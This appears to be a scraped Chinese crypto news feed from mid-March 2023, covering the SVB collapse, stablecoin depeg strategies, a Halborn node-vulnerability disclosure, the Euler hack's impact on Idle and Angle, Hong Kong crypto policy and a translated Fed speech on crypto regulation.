亏本卖这个事本身问题不大，只要留得好口碑在，过了这阵子咱们未必不能赚回来。但是，在这个信息爆炸的时代，纸是包不住火的，SVB亏本卖长投资产的消息一经传出，立刻引发了储户对自家存款的担心：亏本都要卖长投，SVB肯定出了大问题！于是大家纷纷去要回自己的存款，最终出现踩踏性事件，SVB彻彻底底倒了下来。 02、最新进展：美联储兜底救火 事件发酵至今，已经到了美联储不得不出手的地步。众所周知金融是个圈，SVB破产影响的绝不只是SVB自己和储户，不仅多家银行、投资公司、科技公司将会受到重创，还会严重影响民众对整个金融行业、银行系统的信心，保不准其他银行也会出现储户集体要求兑付的风险。 好在人类已经从多次金融危机中吸取了教训，建立了存款保险制度。美国联邦存款保险公司（FDIC）对每个账户最高提供25万美元的保险（也就是每个账户最多赔25万），FDIC目前已经创建了一个名为“圣克拉拉存款保险国家银行（DINB）”的实体，将SVB的存款转入到其中以保护客户，所有受保储户都可提取受保存款。但是，众多科技公司账户里超过25万美元的存款怎么办？FDIC根本就是杯水车薪，也许是考虑到美国政府之前放出的狠话：“确保Web3发生在美国”，3月13日，美联储放出明确消息：兜底，全包。 03、对虚拟资产行业的警示 SVB破产事件其实对虚拟资产行业产生了非常深远的影响，仅次于USDT的当前第二大美元稳定币USDC差点被其一并带入死亡螺旋（锚定USDC的一大批二级稳定币无不瑟瑟发抖）。这主要是因为USDC的发行商Circle在SVB仍存有高达33亿美元的巨额储备金，约占USDC总储备金的8%。虽然美联储的兜底操作真正是救了USDC一把，但我们不得不反思：为什么在虚拟资产行业里暴雷的总是稳定币？这种锚定现实资产的虚拟货币，到底是利大于弊还是弊大于利？ 飒姐团队暂且不做价值判断，但如果是长期关注海内外虚拟资产行业的老玩家一定对2022年末，FTX破产事件不陌生，在飒姐团队看来，SVB和FTX两个破产案除了一个发生在传统金融行业、一个发生在虚拟资产行业外，其实并无太大差别。本质上都是一个问题（而且是传统金融行业的老问题）：缺乏透明度。可以预见的是，这一顽疾还将在未来很长一段时间继续存在下去。 最后，我们旗帜鲜明的反对一种观点：传统银行的倒闭证明了人们应当把鸡蛋放到虚拟资产的篮子里。二者之间根本就不存在因果关系，刻意夸大传统金融行业的种种弊端来吹捧虚拟资产本身就是一种滑坡谬误，需要提醒大家的是，虚拟资产交易所破产的也不在少数。投资者们真正应该做的，是保持一颗冷静的头脑和长期稳定的情绪。  ( 4 min )
    不管是不是FUD，你都需要这份稳定币脱钩紧急逃生指南
    当你持有的稳定币面临脱钩风险，该如何操作？孙哥拿 USDC 换 DAI 这个咋一看无用的操作背后有何逻辑？ 从主流去中心化稳定币、中心化稳定币再到持币对冲等多种方案，本文将结合底层逻辑、实际数据和案例，为你带来最全面的稳定币脱钩紧急逃生指南。 紧急逃生的核心目的在于以最低的成本降低风险，为接下来的操作和判断提供时间窗口。所以除了要考虑长期逻辑外，更重要的是其短期要能挂钩住，所以接下来我们将根据挂钩机制的不同来分类说明。 A. PSM通过支持直接与其他稳定币兑换来挂钩，比如 DAI 支持 1:1 兑 USDC/USDP 那么既然都是 1:1 兑换，孙哥为什么把 USDC 换成 DAI？其实还是有好处的 PSM 额度是有上限的，到达上限后就变成了单向转换，即只能 DAI → USDC，不能 USDC → DAI，单向转换下就成了 DAI>= USDC 如果最终 USDC 是只能以 0.98 这种价格换回美元的话，makerDAO 为了 re-peg 可能把这部分债务吃掉 如果情况恶化出现了市场崩溃，触发借款人大规模还款、清算，那么需要买回DAI来还债，从而推升 DAI 的价格 也就是说短期而言，这基本是个稳赚不赔的买卖，而且能够容下大资金，所以自然得到了孙哥亲睐。实际上 3/11 makerDAO 便通过了紧急提案增加 USDC→DAI 的费用，并且由于PSM-USDC达到上限，DAI 在短时间内也相对 USDC 有过约 2% 的溢价。此条逃生路线并不能完全脱离 USDC 的影响，主要好处在资金容量大，短期确定性强。 B. AMO：公开市场价格干预，比如 FRAX/ crvUSD 等 比如 FRAX 其底层资产大部分为 Curve AMO，即 Curve FRAX/USDC LP 等资产。在FRAX 1 的时候增发 FRAX 注入，变相卖 FRAX 压制币价。 为什么这次 FRAX 也 de-peg 了？ 因为说到底还是依赖外部资产来挂钩，USDC de-peg 了，那作为储备的 FRAX/USDC 又何来支撑。所以在 UST 出事的时候 FRAX 没事，但如果 AMO 底层相关的 USDC/USDT/DAI 出问题了，那么 FRAX 就也免不了被影响。 所以使用 AMO 机制的稳定币逃生，需要确定的是 AMO 底层资产有没有问题，适合非常清楚该币种内部情况的人。 C. 债务/抵押品定价兑换：Luna/UST 的双向转换， LUSD→ETH 的单向转换 LUSD 是超额抵押稳定币，抵押物仅支持 ETH，主打一个纯字。 LUSD 从发布以来从未长期显著 $1.1 ，那么确定的即时套利机会就出现了，所以上限就是 $1.1。 所以对于中小额资金而言，如果能以 现金（银行存款）> 低质量资产（商业票据/企业债等）。另外债券有到期时间的概念，简单来讲就是到期时间越短流动性越好。 根据下方两条推文对 BUSD/USDC/USDT 底层资产的分析，可知综合安全性和流动性来看 BUSD> USDC > USDT。不过 USDT 也有久经检验以及“不透明”带来的好处，而 BUSD 则成了美国监管机构的眼中钉。 此外比较小众的还有 USDP/ GUSD 等，原理也是一致的，这次他们在声明对硅谷银行没有敞口后，风险自然就小些了。不过必须注意的是银行大面积出问题必然影响中心化稳定币，这次没问题不代表下次没问题。 在现在的情况下，国债和逆回购占比更大的还是更靠谱些。如果还愿意持有美元资产的话，短期美债的风险建议不必过度考虑，因为这是美元资产中最高安全级的了，考虑这个话还是换回人民币比较妥当。   推文链接 持币+做空对冲 买入 1ETH 现货然后合约开空 1ETH，看上去很好但问题在于： 你需要信任这个交易所，交易所身家不少都在稳定币上，Solana 上的 UXD 曾经就在 perp dex Mango 上持 sol 空sol，结果 Mango 不幸遭遇黑客攻击… 如果你空的是 ETH/USDT 交易对，那么本质上你就是持有 USDT，空 ETH/BUSD 就是持有 BUSD，最终又绕回来了。 不过如果是币本位合约的话，比如币安这种Index是从真 USD 交易对中取的价格，看上去是个可行的方案。 需要注意的是币本位合约面值为美元，就是说你没法做空 1 BTC，只能做空价值 $10000 的BTC，价格波动大的情况下无法保持完全对冲 。此外币本位合约大家一般都不太熟悉，建议实操验证后再大动作。 总结 从本文上述列举的方案中你可以结合自身情况找出最适合自己的逃生路径，但是在币圈内的任何间接持有美元都是承担了额外风险的方案，最安全的持有美元资产的方式必然是买美债，正确姿势是什么可以参见下方推文喵。如果你是钱比较多的合格投资者，也可以来找妙蛙种子，我的朋友皮卡丘可以给你提供币圈专属高质量美债服务喵。 推文链接  ( 6 min )
    安全公司：发现影响280多个区块链网络的零日漏洞
    PANews 3月14日消息，区块链安全公司Halborn发文表示，2022年3月，Halborn受聘评估Dogecoin开源代码库是否存在任何可能影响区块链安全的漏洞。在此评估期间，Halborn发现了几个严重且可利用的漏洞，并已由Dogecoin团队修复。然而，经过更广泛的审查后，Halborn确定同样的漏洞影响了280多个其他网络，包括Litecoin和 Zcash，使超过250亿美元的数字资产面临风险。Halborn将此漏洞代号定为Rab13s。 Rab13s漏洞是在受影响网络的p2p消息传递机制中发现的，由于其简单性，它们增加了攻击的可能性。利用此漏洞，攻击者可以向各个节点发送精心制作的恶意共识消息，导致每个节点关闭并最终使网络面临51%攻击和其他严重问题等风险。RPC服务中的第二个漏洞允许攻击者通过RPC请求使节点崩溃。然而，成功的利用需要有效的凭据，这降低了整个网络面临风险的可能性，因为一些节点执行了停止命令。第三个漏洞允许攻击者在用户通过RPC运行节点的上下文中执行代码。但是，这种利用的可能性较低，因为它需要有效的凭据才能执行攻击。 Halborn表示其已为Rab13s开发了一个漏洞利用工具包，其中包括带有可配置参数的概念证明，以演示对不同网络的攻击。所有必要的技术信息都已与确定的利益相关者共享，以帮助他们修复错误，并为社区和矿工发布必要的补丁。对于使用基于UTXO 的节点（例如狗狗币）的项目，建议将所有节点升级到最新版本（1.14.6）。由于问题的严重性，Halborn目前不会发布更多技术或漏洞利用细节。  ( 4 min )
    赵长鹏：不会收购加密媒体CoinDesk
    PANews 3月14日消息，针对Blockworks称“币安旗下CoinMarketCap搁置对加密媒体CoinDesk的收购”的报道，币安首席执行官赵长鹏在推特上回应道：“不是‘搁置’。是不买。这可能是一门好生意。但不适合我们的地理覆盖范围。  ( 4 min )
    一分钟速览Cosmos 3月15日升级：以“复制安全”为核心，对ATOM进行价值捕获
    原文：《Cosmos 3月15日升级：摆脱过于分散的现状，ATOM将拥有价值捕获》 作者：北辰 长久以来，Cosmos由于治理机制过于分散，导致生态的繁荣与ATOM没有直接关系，市值在20名开外。反观同为「跨链双雄」之一的Polkadot，尽管生态后继乏力，但市值仍比Cosmos多一倍。 问题的关键在于它们的平台币是否具备价值捕获。 Cosmos社区意识到了这一点，并从去年开始推动让Cosmos Hub承担生态系统中区块链的验证任务，从而捕获生态内的价值。 但最初的方案中通胀率过高（以及其它细节上的瑕疵）不利于ATOM持有者而未通过，于是重新调整方案并在过去两周重新投票，最终以99.48%的支持率正式通过，并将于3月15日正式上线。 这次升级的核心在于「复制安全（RS，Replicated Security）」，就是原来的Interchain Security（链间安全），允许Cosmos生态系统中的区块链共享验证资源以提高安全性，而Cosmos Hub则是安全提供商。 这意味着基于IBC的区块链可以直接从Cosmos Hub那里共享安全性，而无需搭建自己的验证节点，而且未来也可以直接共享Cosmos Hub发布的新功能。 而代价就是要将一部分费用（默认25%）和平台币未来的通胀的部分（以持续空投的形式）发送给Cosmos Hub，这将成为验证人和委托人的奖励。 所以可以把Cosmos这次升级理解为变成类似于Polakdot平行线程的机制，但是不用去筹集DOT来拍卖中继链的插槽，只需要向Cosmos Hub添加提案，并经过三分之二的验证人投票即可启动（只要满足标准，验证人不会拒绝客户）。 不过出于安全考虑，任何时候只要有三分之一的验证人不想验证这条链，服务就会立即终止。 Cosmos生态其实一直都在低调地成长，技术栈也在开源生态里越发完善，此次升级对Cosmos生态的项目有不小的吸引力，已有一些头部项目对Cosmos Hub的Replicated Security表示出浓厚兴趣。 相信未来会有越来越多的基于IBC的区块链选择由Cosmos Hub来提供安全，这样一来省去了自建节点的成本，二来ATOM真正拥有了价值捕获。 尤其是未来在「Next Billion User」的叙事之下，会有源源不断的开发者进来开发自己的区块链，而在技术上积累了很大的优势的Cosmos生态（快速开发区块链的Cosmos SDK，无许可跨链的IBC协议，互联网级别的Tendermint共识协议）则是不错的选择。  ( 4 min )
    Idle Finance：约1099万美元资金受Euler攻击事件影响
    PANews 3月14日消息，DeFi协议Idle Finance发推文称，经过调查，Euler Finance漏洞对协议Yield Tranches的估计敞口为566.28万美元，Best Yield vaults的估计敞口约532.71万美元，共计约1099万美元。 Idle Finance强调，实际影响将取决于Euler团队采取的行动和可能采取的缓解措施。以上数字并非实际回撤，而是锁定在Euler的实际数字。取决于缓解措施，例如通过SHERLOCK保险，以及Euler团队进行的任何其他计划，这些数字都可能发生变化。 Idle Finance还表示，关于Senior/Junior Best Yield DAI金库，上周，金库分配在Euler。但由于USDC脱锚，MakerDAO通过执行MIP提议将PSM通行费提高到1%，这将影响Idle Finance的USDC到DAI的转换，该团队在周末触发了一次再平衡，并迅速将所有资金转移到Aave，因此该金库（总TVL为1120万美元）没有接触Euler，并且现在正在按预期运行并从Aave获得收益。 此前昨日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。  ( 4 min )
    两会中央全力支持港澳拼经济，香港加密新政能否再书“香江传奇”？
    洞悉香港发展大势，全国两会是最重要的窗口。 3月5日发布的《政府工作报告》中，今年港澳台重点工作就包括支持港澳发展经济、改善民生，保持香港、澳门长期繁荣稳定。值得注意的是，与去年《政府工作报告》相比，今年“支持港澳发展经济”成为中央政府支持香港的首要内容。 “今年的政府工作报告再次显示中央坚定不移支持香港发展，给予香港同胞发展经济、改善民生的信心。”全国政协委员、香港西九文化区管理局董事局主席唐英年说。 而重回全球加密金融中心和虚拟资产中心地位正成为新时代下香港发展经济的一个重要抓手。自去年10月以来，港府已经释放了一系列积极的信号，相关政策咨询正在开展中。 香港向加密市场不断释放出的积极信号，吸引了全球从业者和投资者的高度关注。 中央定调发展大势，结合自身优势积极探索，一系列政策动作下，一场“王者归来”的大戏正在香江上演。 香港是加密行业曾经的龙兴之地。 自区块链行业诞生之日，华人一直是其中最为重要的一股力量。香港，作为距离内地最近、政策开放度极高的国际金融中心，一直是拓展全球区块链事业的最重要节点。仅在上一轮的加密牛市周期中，香港就成功孕育了FTX、Animoca Brands、Crypto.Com等众多行业头部机构与项目。老火币、币安等知名机构也一直在香港重点布局和深度经营。 不过，由于种种原因，FTX、BitMEX等加密公司和项目陆续选择搬离香港，人才流失、项目迁移、生态失守，香港似乎已落下神坛......与此同时，加密世界的叙事主基调也从东方逐步转移至西方。特别是去年以来甚嚣尘上的Web3卷向新加坡的论调，都让香港在错失互联网之后，似乎要进一步在 Web3 时代跌落前排。 直到去年，尤其是港府新一届班子上台之后，香港明显视野回转，开始在政策等层面重整行装，准备大踏步与新加坡、伦敦、纽约等城市争夺全球加密金融中心和虚拟资产中心地位。 而2022年熊市中的一系列黑天鹅事件也为香港提供了一个难得的战略机遇。在UST/LUNA 、FTX和Genesis等知名项目和加密机构陆续崩盘后，美欧纷纷重新审视其加密行业监管政策，可以预见，加密行业大概率在欧美面临更加严格全面的监管。 这使得行业的目光又一次转到了东方。 市场人士就预计，更多围绕数字资产的活动将向东转移——这也是香港重获其加密行业影响力的好时机。这一次，香港决定不再错过。 去年10月31日，香港财经事务与库务局正式发布《有关香港虚拟资产发展的政策宣言》，瞬间引爆全球Web 3行业从业者和机构的关注。 在这份不到4000字的文件中，香港特区政府强调了对虚拟资产及相关产业的支持和保护，并提出了一系列关于监管、投资者、产权的规划，同时提出金融科技周NFT、绿色债券代币化、“数码港元”三项即将落地的“试验计划”，并表达了对于Web 3产业吸引人才来港，稳固香港国际金融中心地位的愿景。 全球行业巨头均给予了积极评价。波场TRON创始人、火必Huobi全球顾问委员会成员孙宇晨表示：“属于华人Web 3创业者的春天到来了。”加密货币交易所Gemini的联合创始人Cameron Winklevoss在推特上直言，“下一轮牛市将从东方开始”；Coinbase首席执行官Brian Armstrong也曾暗指，香港是目前在数字资产领域领先的司法管辖区之一。 不少业内人士更是惊呼：“这份《宣言》意味着香港要‘回来了’。” 近期的高潮来自于今年2月20日，香港证监会就有关监管虚拟资产交易平台的建议展开咨询，为拟于6月1日生效的新发牌制度公开征求行业意见。此消息一出，加密圈热潮狂涨，引发了“香港概念币”的一轮暴涨。 市场的反应是行业信心的真实反映。对此，有媒体评价道，“香港，正悄无声息地成为东方Web3.0的中心”。 分析人士表示，香港的Web3.0优势犹在。作为全球最强大的资本市场之一，香港完善的金融监管框架和顶尖金融与技术人才是其显著优势。数据显示，目前落户香港的金融科技企业数目已超过600家，近一年在香港成立的新金融科技公司中，有近40%来自区块链领域。 而另一层隐含的事实则更令人振奋。据彭博社报道，中央人民政府驻香港特别行政区联络办公室一直关注香港加密新政的各项进展。因此不少人由此认为，虽然内地仍未放松对加密行业的立场，但“香港成为试验田”已是不争的事实。内地的加密政策和香港的加密新政可以形成很好的互补效应，平衡传统模式与新兴事物并行发展中带来的收益和风险，从而保证中国在下一代技术革命中具有足够的竞争力。 春江水暖鸭先知。政策“暖风”下，各大资本及加密投资者纷纷表态将重仓香港。 各主流加密交易平台更是跑在了前面。越来越多的交易所被香港更友好的政策立场所吸引。多个交易所正在申请香港加密货币交易牌照；OKX已有专责团队负责香港合规进程。 不会错过任何一个市场热点的孙宇晨，更是第一时间表态跑步入场。据悉，Huobi正在申请香港加密货币交易牌照，还计划将在香港推出新交易所Huobi Hong Kong。 “香港的一系列加密政策具有全球性意义，可能撬动其他亚洲国家乃至美国国家的政策变化，对于加密行业是‘久旱逢甘霖‘。”在孙宇晨看来，香港具有独特的区位优势和完善的金融体系，拥有更好的发展加密货币的基础。 而另一方面，香港带来的归属感以及在语言、距离、文化上的优势，都将成为华人加密企业发展的强大助力。 不过需要注意的是，香港证监会近期发布的咨询文件尽管释放了“香港将向散户放开虚拟资产交易”的信号，但明确了“所有在香港经营业务或向香港投资者进行推广的虚拟资产交易平台需获香港证监会发牌”这一信息。这意味着，今年6月1日后，仅有持牌机构可以在香港展业。由此来看，香港加密新政的整体目的是令虚拟资产交易明确化和合法化，而并非无条件放开监管。 “最近香港正完成向虚拟资产服务提供者设置发牌制度的立法工作。在新制度下，有关交易所需要符合的反洗黑钱、反恐融资和投资者保障要求，与目前适用于传统金融机构的要求保持一致，相信能为虚拟资产交易所提供一定程度的市场认可。”香港特区财政司司长、“推广香港新优势专责小组”主席陈茂波表示，港府与金融监管机构一起，正在努力提供一个便利的环境，以促进香港虚拟资产行业的可持续和负责任的发展。 在加强合规和持牌经营的监管思路下，大体量、长期审慎经营以及拥有合规经验的老牌机构和企业，显然将成为现阶段最大的受益者。 孙宇晨表示，波场TRON与火必Huobi将全力支持香港新政，重点关注香港后续政策，积极申请相关合规牌照，以期能与港府在稳定币、NFT及交易所业务等领域开展合作，成为香港地区客户及Web3创业者的合作首选。 Coinbase首席执行官 Brian Armstrong 在推特援引“香港有望对公民开放加密交易”的消息，并明确表示，香港目前对加密行业的开放性处于领先地位。持相似观点的还有Crypto.com的CEO Kris Marszalek，他在推特上贴文赞扬称，“香港Web3新政是对全行业的好消息，香港重建充满活力的加密中心的愿望已经昭然若揭。” 除了行业内的群情激昂，加入这股Web3热潮的还有香港本地商界领袖。香港房地产巨头新世界发展的首席执行官郑志刚，宣布将加密货币托管提供商Hex Trust和区块链基础设施开发商ConsenSys加入到他的投资组合中，全力押注Web3，布局集团在香港发展的未来。 可以预见，随着越来越多的加密机构和行业领袖进入香港，香港也将迎来加密行业兼容并蓄发展的繁荣生态，继续书写属于华人的加密故事。 两会的召开，为香港的未来发展带来了宏观政策指引和发展动力。香港作为亚洲金融中心，积极探索加密货币的监管和创新有利于获取新的经济增长机会。与此同时，香港也坚持“一国两制”的原则，与内地在加密货币领域保持互补和合作。两会的召开在为香港地区释放Web 3发展信心的同时，也有利于内地在日后借鉴香港经验，夺回原属于东方的Web 3建设领导力量，最终书写一部新的传奇。  ( 4 min )
    美联储副主席：如何保护加密创新的同时进行有效监管？
    作者：美联储副主席 Michael S. Barr 编译：Carol 吴说区块链 今天在这里我们讨论一下从最近加密行业的动荡中学到了什么，以及监督和监管在帮助银行管理与该行业的互动方面和支持它的创新技术方面应该发挥什么作用。尽管最近发生了一些事件，但我们并没有忽视这些技术可能对我们的金融系统产生潜在的变革影响。同时，我们需要小心，以免监管锁定现任者的权力或扼杀创新。但是，也只有在适当护栏到位的情况下，才能实现创新的好处。我将谈一谈我们是如何努力让我们监管的银行清楚地了解我们所学到的知识和我们的监管期望。最后，我将分享一些关于稳定币的想法。 其实，要找到足以论证加密必要性的证据并不难，首先可以先从我个人最近的经历开始讲起。上个月，我访问了密西西比河三角洲，谈论金融包容性和社区发展，我花了一上午的时间与一群大学生进行交谈，当我询问发现遇到的大多数学生都拥有一些加密资产时，让我感到了震惊，因为根据我作为教授的经验，大多数的学生通常手头都是比较拮据的。不过，令我不觉得意外的是，许多拥有加密资产的人也都表示自己亏了钱。 这一点就提醒了我，加密资产并不单是由资金充裕并用于投机的人独有的。大约五分之一的美国人表示他们已经拥有某种形式的加密货币。而且，在过去一年里，加密货币领域出现的问题已经影响了很大一部分公众。 当我思考如何处理加密资产、其背后的技术以及加密行业与传统金融体系之间的相互作用时，我发现将最近的创新置于历史背景下是有帮助的。金融市场长期以来的创新引起了关于监管的适当作用问题。特别值得关注的是，监管框架如何既能鼓励创新，又能支持金融机构的安全稳健和更广泛的金融稳定。同样重要的是，还需要保护公众免受欺诈和其他滥用行为的侵害和影响。 这里的挑战始于时间上的不匹配。创新通常来得很快，但消费者需要时间才能意识到他们在新的金融产品上既可能赚钱也可能亏钱。市场参与者可能也需要时间来了解随之而来的风险并想出管理这些风险的方法。同样，监管涉及一个审议过程，因为它需要平衡过度监管可能会扼杀创新的风险与监管不足可能会给家庭和金融系统造成重大损害的风险。 早在加密货币成为监管和公共政策的问题之前，我就在努力思考如何在全球金融危机的背景下思考创新的周期。新产品一开始往往发展缓慢，而市场参与者不确定其价值或风险，但兴奋和热情会导致其快速增长，新产品也就因此涌入了市场。如果这时的参与者没有经过市场压力的考验，就可能会过早地认为他们知道新产品是如何运作的，且认为新产品看起来既安全又有利可图，当这种对风险的认知理解与实际的潜在风险变得明显不匹配时，创新周期就会转向。 当我正在谈论金融危机的前因后果的时候，新型金融产品已经与银行和更广泛的金融体系交织在一起，以至于创新周期的转变对房主、工人、企业和我们的经济造成了毁灭性的打击。如今，虽然加密资产行业还处于起步阶段且不那么普遍，但关于新金融产品将如何影响公众、经济和金融稳定的问题是相似的。 在讨论我们如何在监督和监管的方法中应对加密领域的发展之前，我想先了解加密资产底层技术的潜在公共利益。人们经常说，这些技术将有广泛的有益应用，且会超越加密资产本身。 众所周知，支付系统对美国人的日常生活至关重要。支付系统具有高度的弹性，但同时它也是缓慢且昂贵的，尤其在跨境支付方面，情况更是如此。而加密资产的技术，例如实现可编程性的技术，可以为支付系统带来新的功能或效率。                       支持者声称，分布式账本技术、加密和验证交易的新方法可用于促进更快的对账、清算和结算，并降低各种传统资产交易的成本。例如，通过将证券和现金市场联系起来。虽然这在我们当前的金融基础设施下是难以实现的方式，但这种技术的使用可以带来潜在的运营效率和成本降低。目前，美联储已投入大量的资源来探索和了解这些技术与其潜在的好处，以及与这些创新相关的风险。 与这些技术的潜在好处形成鲜明对比的是，许多人对加密资产的希望和热情都遭遇了失望，甚至是毁灭性的损失。罗伯特席勒（Robert Shiller）描述了比特币如何成为一个典型的具有传染性经济叙事的例子。比特币价值主张的故事利用了人们对政府控制的恐惧，并承诺通过卓越的技术，一种新产品就可以产生难以计数的财富。但是，当涉及到某些加密资产时，其中一些资产除了其所有者的信仰之外，并没有其实际的内在价值。经验表明，加密资产可能会面临与传统资产相同的基本流动性和信用风险，并可能与其他传统风险高度相关。 虽然加密资产的供应商向客户表示，他们通过底层技术的去中心化性质得到了保护，但客户往往会面临更大的风险，因为这些供应商经常想方设法在强大的监督和监管系统之外运作。在缺乏监管的情况下，客户无法获得评估和降低风险所需的信息。而且投资者没有他们几十年来一直依赖的结构性保护。因此，许多人成为典型的欺诈和滥用案件的受害者，其中一些被恰当地归类为披着高科技外衣的“庞氏骗局”。此外，虽然加密资产被大肆宣传为“去中心化”，但已经出现了新的、相当中心化的中介机构，它们不受或不遵守适当的监管和监督，从而对消费者造成了长期的伤害。更为复杂的是，这些实体往往会寻找金融活动法律和监管框架松散或欠发达的司法管辖区。其实由于缺乏统一的母国监管以及与东道国监管机构的协调，银行监管机构在很早以前就已经制止了这种滥用行为。虽然这种跨司法管辖区的监管套利并不新鲜，但这些活动的数字性质为将此类实体的业务范围扩大到全球客户提供了更大的机会。 例如，据报道，FTX 加密资产交易平台的显著崩溃已经使一百万人的资产化为乌有，使他们损失了数十亿美元。而且，自去年夏天以来，我们看到一个接一个的加密中介机构倒闭。随着这些案件在破产法庭上审理，我们看到了滥用客户资金、虚假陈述、混淆存款保险的可用性以及潜在欺诈的迹象。 加密货币还涉及许多非法融资案件。由于作为交易方的匿名参与者、转帐的便利和快捷以及交易的普遍不可撤销性，加密资产构成了重大的洗钱和恐怖主义融资风险，这些都使加密资产在洗钱和恐怖主义融资方面具有吸引力。事实上，执法机构包括金融犯罪执法网络、外国资产控制办公室和司法部，已经对从事加密资产交易的实体或个人采取了许多公开执法行动。 但这种行为会对投资者和消费者以及我们的金融体系造成重大损害。联邦银行监管机构，包括联邦储备委员会，有法定责任确保我们监管的实体活动以安全和稳健的方式进行，并遵守所有适用法律。虽然到目前为止，加密领域的事件对美联储监管银行的影响总体上是有限的，但最近的经验表明，加密货币可能会给这些银行带来风险。作为回应，我们已经与其他联邦银行监管机构合作，就什么是允许的、安全的、符合反洗钱和反恐怖主义融资法律以及消费者和投资者保护的规定提供明确的指导。目前，我们已经制定了对银行参与新产品类型和活动的监管期望。如上所述，当与国际同行相互合作时，能尽量减少跨司法管辖区监管套利的可能性。 美联储金融监管的一项首要原则是，无论活动发生在何处、如何发生或用于描述活动的术语如何，基本相同的活动都应受到相同的监管。我们在美国有一个稍微复杂的金融服务监管框架，有几个监管机构负责监督金融服务活动。但我们知道，对于有兴趣使用新技术提供金融服务的实体来说，参与公平的竞争环境是多么重要。这就是为什么我们与其他银行监管机构进行密切合作且制定一致的方法。我们的总体立场是，在目前的发展阶段，银行应该采取小心谨慎的态度参与加密资产相关的活动和整个加密行业。 几十年来，联邦银行监管机构已经阐明了对管理、监督和控制安全稳健风险的监管期望。这些期望通常是基于原则的，这意味着它们可以适用于广泛的情况。鉴于对加密资产活动的兴趣日益浓厚，我们努力提供清晰透明的指导。去年 8 月，我们发布了一份针对从事或寻求从事加密货币相关活动的银行的监管指导信。在信中，我们提醒企业，在考虑从事加密货币相关活动时，首先要确定这些活动是法律允许的，并且有足够的控制措施来确保这些活动能够以安全稳健的方式进行，并遵守所有适用法律。我们的信还让银行知道，如果他们打算从事与加密资产相关的活动，他们应该通知美联储，并进行强有力的监管对话。这封信指出，“受美联储监管的银行组织应具备适当的系统和控制措施，以便在开始此类活动之前以安全可靠的方式开展与加密资产相关的活动。” 在接下来的几个月里，加密世界发生了很多事情，包括前面讨论的动荡。1 月 3 日，在了解这些情况后，董事会和其他银行监管机构发布了另一份声明，建议银行关注几个关键风险的清单。该清单的范围包括从加密货币参与者的欺诈风险到洗钱和恐怖主义融资到稳定币运行的风险。 1 月下旬，委员会发布了一项政策声明，向我们监管的银行明确表示，无论银行的存款保险状况如何，委员会将对包括加密资产相关活动在内的活动采用相同的许可标准。该声明明确表示，我们认为银行在其资产负债表上直接拥有加密资产是不安全和不可靠的。此外，我们监管的银行如果想发行稳定币或美元代币，就必须证明他们有适当的控制措施，能够以安全稳健的方式进行发行，而且在发行之前，他们需要获得美联储监管人员的无异议通知。 2 月 23 日，我们通过与其他银行监管机构联合发布的另一份声明，进一步明确了监管预期。该声明向我们的受监管机构强调，他们需要了解到与某些加密行业相关的存款的流动性风险。我们一直希望银行能够评估和管理其资金来源的流动性风险。正如声明中明确指出的那样，在过去几个月中也很明显，加密行业的储户拥有的资产可能会受到该行业波动的影响。这种波动会导致不可预测的、快速的、相关的存款流入和提取，因此，他们存款的流动性风险当然需要额外的关注。对于那些资产负债表上有很大一部分来自于此类存款的银行而言，流动性问题尤为严重。 同样，我们采取这些步骤来明确表示，我们对我们监督的所有机构和寻求从事新活动的机构抱有相同的期望。其实这些期望并不新鲜，我们希望受监管的实体确保他们以安全稳健的方式开展活动，并遵守所有相关法律，包括反洗钱法。这些公开声明是透明的，并为每个人提供相同的信息，包括可能没有大型分析师团队评估行业发展的小银行、拥有更多资源的大银行，当然也包括公众。我们计划在继续研究和审查该行业的活动时，继续发布此类指导意见。 除了不断与公众分享我们所学到的知识外，我们还加强了对这些活动的监督。我们正在创建一个专业的专家团队，帮助我们从新的发展中学习，并确保我们在这个行业的创新方面处于领先地位。 我想通过谈论稳定币来结束今天的讨论。正如鲍威尔主席（Chair Powell）所说，稳定币是一种私人货币，而美国私人货币有一段漫长而混乱的历史，这就表明其需要强有力的监管和监督。任何发行以美元计价的货币和动用美联储的信任都需要接受联邦审慎监管。 稳定币发行人寻求拥有，但没有与联邦保险银行存款相同的特征。稳定币发行人表示，他们的负债可以按面值按需赎回，即一美元兑一美元。然而，事实上，支持负债的资产价值可能会产生波动。即使支持债权的资产质量很高，也不一定能立即变现，操作风险相当高。正如我们经常看到的那样，储户有时会立即想要或需要他们的钱，尤其是在压力大的时候。这种价值和流动性的不匹配是典型的银行挤兑的根源。发行人不受美联储的监管，缺乏资本和流动性作为支撑。相比之下，我们监管的银行通过一系列强有力的监管要求，都得到了很好的保护，免受银行挤兑的影响。 我们可以想象一下，如果不受适当监督和监管的稳定币被作为一种广泛采用的支付方式，会产生什么样的后果。由于网络效应，稳定币具有快速扩展的潜力，而这对类似于存款的资产可能会造成巨大的损失，不仅是对金融机构如此，对那些依赖稳定币的人也是如此。如果它被广泛采用，我们必须从过去的经验中吸取教训，以确保我们不会有新形式的不受监管的私人货币出现典型的运行风险，以及对家庭、企业和更广泛经济的相关溢出和系统性影响。 最后回到发言的中心点，即需要平衡创新和保障措施。我们的目标是创建护栏，同时为创新留出空间，使消费者和金融系统更广泛地受益。目前，我们正在与其他银行监管机构合作，考虑是否以及如何以符合银行安全和稳健的方式开展某些加密资产活动。我们还致力于在一系列与加密相关的活动中进一步阐明我们对风险的看法和有效的风险管理实践。我们将继续向银行业和公众公开我们的期望。我们还将与其他机构合作调整我们的方法，以确保相同的风险能得到相同的处理。在我们继续努力的同时，我们将通过建立对可持续、安全和透明的市场必不可少的护栏来支持创新。  ( 4 min )
    Angle Protocol：有1760万枚USDC资金受Euler攻击事件影响
    PANews 3月14日消息，去中心化稳定币协议Angle Protocol在推特上表示：“Angle Protocol受Euler漏洞利用的影响，该协议将1760万枚USDC存入Euler。该协议已暂停，债务上限设置为0，Euler AMO已关闭。正在监视情况，并会在收到更新后立即进行更新。” 此外，在问答文章中，Angle Protocol表示，在Euler黑客入侵之前，Angle Core模块的总价值锁定(TVL)约为3600万美元，1720万枚agEUR已通过核心模块铸造。此外，该协议中还有：1.来自标准流动性提供商的约1160万美元存款；2.来自对冲代理人的约353000美元存款；3.盈余约558万元。 Angle Protocol表示，如果黑客入侵的资金(17,614,940.03 USDC)确定会丢失，核心模块的TVL将下降到大约1840万美元。在这种情况下，核心模块中的准备金数量将低于agEUR持有人、标准流动性提供商和协议中剩余对冲代理的债权价值。 此前昨日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。  ( 4 min )
    隐私网络Iron Fish将主网发布时间推迟至4月20日
